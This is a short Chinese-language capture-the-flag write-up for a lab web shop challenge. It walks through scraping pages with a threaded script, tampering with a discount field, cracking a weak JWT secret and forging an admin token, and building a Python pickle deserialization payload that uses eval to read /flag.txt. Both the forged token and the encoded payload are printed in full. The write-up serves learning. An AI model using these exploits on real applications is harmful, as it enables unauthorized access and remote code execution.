发现有登录选项,注册并进入
题目提示要买到ipv6,那就必须先找到ipv6的所在页面
脚本跑
import threading
import time
import requests
def go(st, ed):
for i in range(st, ed):
url = 'http://9526ee81-7bfb-418c-a200-3834e974a35e.node4.buuoj.cn:81/shop?page='
url += str(i)
r = requests.get(url, timeout=2)
if 'lv6.png' in r.text:
print(r.url)
time.sleep(0.1)
if __name__ == '__main__':
threads = []
for i in range(0, 10):
t = threading.Thread(target=go, args=(i * 20, (i + 1) * 20))
threads.append(t)
for item in threads:
item.start()
发现是第181页,看到ipv6,但是我们买不起,那就抓包看一下
抓包后,发现可以修改折扣,修改一下,回包
给了一个网址
去访问
提示只允许admin访问,再去抓包看看有什么
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFzZCJ9.BObCLjOjhd5VP8Ji2nhYaqzp01yT6KhkzQA2oY8FirA;
Base64编码过,去解码得到
后边解码不出来因为经过了sha256加密,需要破解key
利用破解工具,解密
得到秘钥:1Kun
去破解网址构造新的JWT
网址:https://jwt.io/
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
然后放包,看到我们已经成为大会员
在源码里我们可以找到一个压缩包,先下载下来
然后找到反序列化admin.py,有漏洞,用脚本构造become
注意需要用python2
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload()) #序列化
a = urllib.quote(a) #进行url编码
print a
然后构造playload
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
得到flag